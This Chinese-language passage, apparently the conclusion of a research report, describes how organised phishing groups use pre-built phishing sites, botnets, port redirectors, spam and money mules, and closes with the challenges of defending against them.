我们的研究同时显示网络钓鱼攻击正在变得越来越普遍而且具有良好的组织性。我们已经观察到针对主要的几个在线组织机构的预先构建的钓鱼网站的归档,这使得钓鱼者可以在很短的时间内准备好进行钓鱼攻击,这也说明了背后隐藏着一个组织良好的钓鱼攻击团体。这些钓鱼内容可以通过利用端口重定向器或僵尸网络快速地进一步扩散。与批量扫描的证据和钓鱼网站内容中手动形式加入的 IP 地址,我们可以相信在一个时刻会有多个特定钓鱼网站的实例同时存在,在上传的钓鱼网站构建完成之前,到达这个刚被攻陷的服务器的网页浏览流量就已经被发现,而且在某个被攻陷主机上发出的钓鱼垃圾邮件也有可能并不是在引诱受害者访问发送邮件的这台主机,这些现象都说明有良好组织性的钓鱼团队在进行分布式和并行的钓鱼攻击。
我们的研究工作显示了垃圾邮件、僵尸网络和网络钓鱼攻击之间一个清晰的连接关系,以及利用中介来完成最后的隐蔽性资金转账。这些观察到的现象,结合大规模的批量漏洞扫描和两层拓扑结构的钓鱼网络,都证明了钓鱼者所带来的真实威胁,钓鱼活动的组织严密性,以及他们所使用的相当高级的攻击技术。随着钓鱼攻击的技术门槛进一步增高及潜在的回报进一步增加,在未来几年中,网络钓鱼攻击的技术很可能进一步地发展,并且网络钓鱼攻击的数量也将进一步增长。减少可被僵尸网络控制的有漏洞的 PC 机,抑制数量不断增多的垃圾邮件,防止有组织性的犯罪活动,并且教育互联网用户关注来自社交工程的潜在安全风险,所有这些都还充满了挑战。




